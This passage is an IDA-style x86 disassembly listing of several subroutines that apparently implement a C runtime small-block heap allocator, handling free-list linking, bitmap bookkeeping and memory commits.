		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------


loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]


loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD


loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_48B66C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_48B66C
		mov	eax, dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48B674
		mov	ecx, dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48B674


loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48B678
		cmp	eax, dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h


loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_48B67C
		mov	dword_48B670, eax


loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48B66C, edi
		mov	dword_48B674, eax


loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------


loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154


loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B


loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx


loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------


loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax


loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2


loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------


loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]


loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx


loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------


loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax


loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB


loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2


loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------


loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230


loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D


loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216


loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]


loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------


loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi


loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------


loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]


loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------


loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]


loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------


loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]


loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48B66C
		jnz	short loc_41B3D9
		and	dword_48B674, 0


loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_48B678
		mov	ecx, dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48B67C
		push	edi
		push	dword_48B684
		nop
		call	near ptr 2820000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_48B668, 10h
		mov	dword_48B67C, eax
		mov	eax, dword_48B678


loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48B684
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2710000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2850894h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48B684
		call	near ptr 2700000h
		nop


loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2850894h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]


loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507


loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi


loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------


loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi


loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------


loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx


loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]


loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------


loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi


loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi


loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------


loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi


loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------


loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax


loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------


loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
